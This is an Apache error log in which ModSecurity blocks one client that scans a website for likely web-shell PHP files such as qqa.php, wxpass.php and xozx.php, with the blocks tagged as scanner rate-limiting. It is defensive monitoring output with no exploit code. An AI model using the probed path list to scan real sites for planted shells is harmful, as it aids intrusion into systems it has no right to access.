[Thu Apr 16 20:32:52.290398 2026] [:error] [pid 57536:tid 57563] [client 4.225.163.126:64130] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/areak1.php"] [unique_id "aeDW9CQU4faGja6jpDto2gAAAA8"]
[Thu Apr 16 20:32:55.558901 2026] [:error] [pid 7880:tid 7886] [client 4.225.163.126:65214] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/areak1.php"] [unique_id "aeDW96aezm4fSGc0yUKZqAAAAYE"]
[Thu Apr 16 20:32:56.756171 2026] [:error] [pid 7880:tid 7891] [client 4.225.163.126:64472] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/areak1.php"] [unique_id "aeDW-Kaezm4fSGc0yUKZqgAAAYY"]
[Thu Apr 16 20:32:57.800380 2026] [:error] [pid 49094:tid 49116] [client 4.225.163.126:64873] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/areak1.php"] [unique_id "aeDW-TbDwvcXorHR_MzBhgAAAVQ"]
[Thu Apr 16 20:32:59.615340 2026] [:error] [pid 57537:tid 57579] [client 4.225.163.126:65127] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/qqa.php"] [unique_id "aeDW-1VQRS8nm73ENAmwqAAAAEQ"]
[Thu Apr 16 20:33:00.827430 2026] [:error] [pid 57639:tid 57651] [client 4.225.163.126:64573] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/qqa.php"] [unique_id "aeDW_KMCQoTw7TsxWumCbwAAAMU"]
[Thu Apr 16 20:33:02.302402 2026] [:error] [pid 49094:tid 49107] [client 4.225.163.126:64855] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/qqa.php"] [unique_id "aeDW_jbDwvcXorHR_MzBkQAAAUs"]
[Thu Apr 16 20:33:03.609690 2026] [:error] [pid 57536:tid 57564] [client 4.225.163.126:64878] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/qqa.php"] [unique_id "aeDW_yQU4faGja6jpDto4QAAABA"]
[Thu Apr 16 20:33:04.525802 2026] [:error] [pid 29603:tid 29619] [client 4.225.163.126:65156] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeDXAFfGOR6fpTWUAzqLLAAAAQ4"]
[Thu Apr 16 20:33:05.351440 2026] [:error] [pid 57639:tid 57647] [client 4.225.163.126:64840] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeDXAaMCQoTw7TsxWumCgwAAAME"]
[Thu Apr 16 20:33:06.529715 2026] [:error] [pid 57538:tid 57609] [client 4.225.163.126:64889] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeDXAsuMaiEF5SVR2BfYXwAAAIc"]
[Thu Apr 16 20:33:07.623958 2026] [:error] [pid 7880:tid 7890] [client 4.225.163.126:64452] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aeDXA6aezm4fSGc0yUKZuAAAAYU"]
[Thu Apr 16 20:33:10.436672 2026] [:error] [pid 57639:tid 57652] [client 4.225.163.126:64145] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ga.php"] [unique_id "aeDXBqMCQoTw7TsxWumCiwAAAMY"]
[Thu Apr 16 20:33:12.832931 2026] [:error] [pid 57536:tid 57553] [client 4.225.163.126:65189] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ga.php"] [unique_id "aeDXCCQU4faGja6jpDtpAAAAAAU"]
[Thu Apr 16 20:33:14.085517 2026] [:error] [pid 57536:tid 57551] [client 4.225.163.126:65204] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ga.php"] [unique_id "aeDXCiQU4faGja6jpDtpBAAAAAM"]
[Thu Apr 16 20:33:16.110638 2026] [:error] [pid 57639:tid 57651] [client 4.225.163.126:64501] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ga.php"] [unique_id "aeDXDKMCQoTw7TsxWumClAAAAMU"]
[Thu Apr 16 20:33:17.520394 2026] [:error] [pid 49094:tid 49113] [client 4.225.163.126:64457] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xozx.php"] [unique_id "aeDXDTbDwvcXorHR_MzBpQAAAVE"]
[Thu Apr 16 20:33:19.193619 2026] [:error] [pid 57536:tid 57565] [client 4.225.163.126:64883] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xozx.php"] [unique_id "aeDXDyQU4faGja6jpDtpFgAAABE"]
[Thu Apr 16 20:33:20.541491 2026] [:error] [pid 7880:tid 7898] [client 4.225.163.126:65487] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xozx.php"] [unique_id "aeDXEKaezm4fSGc0yUKZygAAAY0"]
[Thu Apr 16 20:33:22.007695 2026] [:error] [pid 57639:tid 57664] [client 4.225.163.126:63812] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xozx.php"] [unique_id "aeDXEqMCQoTw7TsxWumCnAAAANI"]
[Thu Apr 16 20:33:24.591932 2026] [:error] [pid 57639:tid 57650] [client 4.225.163.126:64461] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1100.php"] [unique_id "aeDXFKMCQoTw7TsxWumCpwAAAMQ"]
[Thu Apr 16 20:33:39.024411 2026] [:error] [pid 57538:tid 57617] [client 4.225.163.126:64916] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeDXI8uMaiEF5SVR2BfYugAAAI8"]
[Thu Apr 16 20:33:40.719080 2026] [:error] [pid 57537:tid 57585] [client 4.225.163.126:65524] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeDXJFVQRS8nm73ENAmwyAAAAEo"]
[Thu Apr 16 20:33:42.512910 2026] [:error] [pid 29603:tid 29623] [client 4.225.163.126:64170] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeDXJlfGOR6fpTWUAzqLVQAAARI"]
[Thu Apr 16 20:33:44.014646 2026] [:error] [pid 29603:tid 29621] [client 4.225.163.126:64895] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aeDXKFfGOR6fpTWUAzqLWAAAARA"]
[Thu Apr 16 20:33:45.542706 2026] [:error] [pid 57639:tid 57651] [client 4.225.163.126:65173] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aeDXKaMCQoTw7TsxWumC0QAAAMU"]
[Thu Apr 16 20:33:46.569958 2026] [:error] [pid 7880:tid 7898] [client 4.225.163.126:65163] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aeDXKqaezm4fSGc0yUKZ_gAAAY0"]
[Thu Apr 16 20:33:49.220071 2026] [:error] [pid 57536:tid 57564] [client 4.225.163.126:65131] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aeDXLSQU4faGja6jpDtpUQAAABA"]
[Thu Apr 16 20:33:50.142557 2026] [:error] [pid 29603:tid 29614] [client 4.225.163.126:64496] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aeDXLlfGOR6fpTWUAzqLYAAAAQk"]
[Thu Apr 16 20:33:53.821061 2026] [:error] [pid 57639:tid 57659] [client 4.225.163.126:64552] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-kz.php
[Thu Apr 16 20:33:54.087467 2026] [:error] [pid 57639:tid 57647] [client 4.225.163.126:64552] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-lo.php
[Thu Apr 16 20:33:54.352353 2026] [:error] [pid 57639:tid 57654] [client 4.225.163.126:64552] File does not exist: /usr/local/apache/htdocs/suspended-page/fone1.php
[Thu Apr 16 20:33:54.617146 2026] [:error] [pid 57639:tid 57658] [client 4.225.163.126:64552] File does not exist: /usr/local/apache/htdocs/suspended-page/Ipv6.php
[Thu Apr 16 20:33:54.882425 2026] [:error] [pid 57639:tid 57656] [client 4.225.163.126:64552] File does not exist: /usr/local/apache/htdocs/suspended-page/file-gertdxz.php
[Thu Apr 16 20:33:55.166651 2026] [:error] [pid 57639:tid 57663] [client 4.225.163.126:64552] File does not exist: /usr/local/apache/htdocs/suspended-page/xper1.php
[Thu Apr 16 20:33:55.431889 2026] [:error] [pid 57639:tid 57652] [client 4.225.163.126:64552] File does not exist: /usr/local/apache/htdocs/suspended-page/yuzuru1.php
[Thu Apr 16 20:33:55.711939 2026] [:error] [pid 57639:tid 57647] [client 4.225.163.126:64552] File does not exist: /usr/local/apache/htdocs/suspended-page/wglum1.php
[Thu Apr 16 20:33:56.167996 2026] [:error] [pid 57639:tid 57656] [client 4.225.163.126:64552] File does not exist: /usr/local/apache/htdocs/suspended-page/saorix1.php
[Thu Apr 16 20:33:56.581803 2026] [:error] [pid 57639:tid 57650] [client 4.225.163.126:64552] File does not exist: /usr/local/apache/htdocs/suspended-page/xper.php
[Thu Apr 16 20:33:56.846594 2026] [:error] [pid 57639:tid 57668] [client 4.225.163.126:64552] File does not exist: /usr/local/apache/htdocs/suspended-page/wxpass.php
[Thu Apr 16 20:33:57.109151 2026] [:error] [pid 57639:tid 57652] [client 4.225.163.126:64552] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "aeDXNaMCQoTw7TsxWumDAQAAAMY"]
[Thu Apr 16 20:33:57.980311 2026] [:error] [pid 57536:tid 57552] [client 4.225.163.126:65095] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "aeDXNSQU4faGja6jpDtpYgAAAAQ"]
[Thu Apr 16 20:34:00.797443 2026] [:error] [pid 49094:tid 49098] [client 4.225.163.126:64571] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "aeDXODbDwvcXorHR_MzCAwAAAUI"]
[Thu Apr 16 20:34:01.706449 2026] [:error] [pid 49094:tid 49109] [client 4.225.163.126:65102] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "aeDXOTbDwvcXorHR_MzCBgAAAU0"]
[Thu Apr 16 20:34:04.814260 2026] [:error] [pid 49094:tid 49111] [client 4.225.163.126:64505] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aeDXPDbDwvcXorHR_MzCDgAAAU8"]
[Thu Apr 16 20:34:05.809841 2026] [:error] [pid 57537:tid 57591] [client 4.225.163.126:64522] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aeDXPVVQRS8nm73ENAmw1AAAAFA"]
[Thu Apr 16 20:34:08.940494 2026] [:error] [pid 57639:tid 57648] [client 4.225.163.126:63556] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aeDXQKMCQoTw7TsxWumDIwAAAMI"]
[Thu Apr 16 20:34:09.981373 2026] [:error] [pid 57639:tid 57665] [client 4.225.163.126:65112] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aeDXQaMCQoTw7TsxWumDKAAAANM"]
[Thu Apr 16 20:34:11.070618 2026] [:error] [pid 57639:tid 57651] [client 4.225.163.126:64491] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x3x.php"] [unique_id "aeDXQ6MCQoTw7TsxWumDKwAAAMU"]
[Thu Apr 16 20:34:13.052747 2026] [:error] [pid 57639:tid 57661] [client 4.225.163.126:64084] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x3x.php"] [unique_id "aeDXRaMCQoTw7TsxWumDOAAAAM8"]
[Thu Apr 16 20:34:14.547698 2026] [:error] [pid 57536:tid 57563] [client 4.225.163.126:64544] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x3x.php"] [unique_id "aeDXRiQU4faGja6jpDtpggAAAA8"]
[Thu Apr 16 20:34:17.438711 2026] [:error] [pid 7880:tid 7893] [client 4.225.163.126:65512] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x3x.php"] [unique_id "aeDXSaaezm4fSGc0yUKaHwAAAYg"]
[Thu Apr 16 20:34:19.683017 2026] [:error] [pid 29603:tid 29615] [client 4.225.163.126:65151] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xy.php"] [unique_id "aeDXS1fGOR6fpTWUAzqLeQAAAQo"]
[Thu Apr 16 20:34:21.126548 2026] [:error] [pid 57537:tid 57578] [client 4.225.163.126:64539] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xy.php"] [unique_id "aeDXTVVQRS8nm73ENAmw4gAAAEM"]
[Thu Apr 16 20:34:22.468071 2026] [:error] [pid 57639:tid 57646] [client 4.225.163.126:65132] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xy.php"] [unique_id "aeDXTqMCQoTw7TsxWumDWwAAAMA"]
[Thu Apr 16 20:34:23.906823 2026] [:error] [pid 29603:tid 29618] [client 4.225.163.126:64877] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xy.php"] [unique_id "aeDXT1fGOR6fpTWUAzqLsgAAAQ0"]
[Thu Apr 16 20:34:24.931043 2026] [:error] [pid 57537:tid 57583] [client 4.225.163.126:64909] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/global.php"] [unique_id "aeDXUFVQRS8nm73ENAmw5QAAAEg"]
[Thu Apr 16 20:34:25.801510 2026] [:error] [pid 57537:tid 57585] [client 4.225.163.126:65211] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/global.php"] [unique_id "aeDXUVVQRS8nm73ENAmw5gAAAEo"]
[Thu Apr 16 20:34:27.065149 2026] [:error] [pid 29603:tid 29614] [client 4.225.163.126:64574] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/global.php"] [unique_id "aeDXU1fGOR6fpTWUAzqLtwAAAQk"]
[Thu Apr 16 20:34:27.923806 2026] [:error] [pid 7880:tid 7909] [client 4.225.163.126:64928] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/global.php"] [unique_id "aeDXU6aezm4fSGc0yUKaSAAAAZg"]
[Thu Apr 16 20:34:28.830477 2026] [:error] [pid 57639:tid 57667] [client 4.225.163.126:65186] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aeDXVKMCQoTw7TsxWumDbwAAANU"]
[Thu Apr 16 20:34:29.999593 2026] [:error] [pid 49094:tid 49117] [client 4.225.163.126:65138] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aeDXVTbDwvcXorHR_MzCOAAAAVU"]
[Thu Apr 16 20:34:31.506981 2026] [:error] [pid 57639:tid 57663] [client 4.225.163.126:65124] [client 4.225.163.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aeDXV6MCQoTw7TsxWumDfwAAANE"]
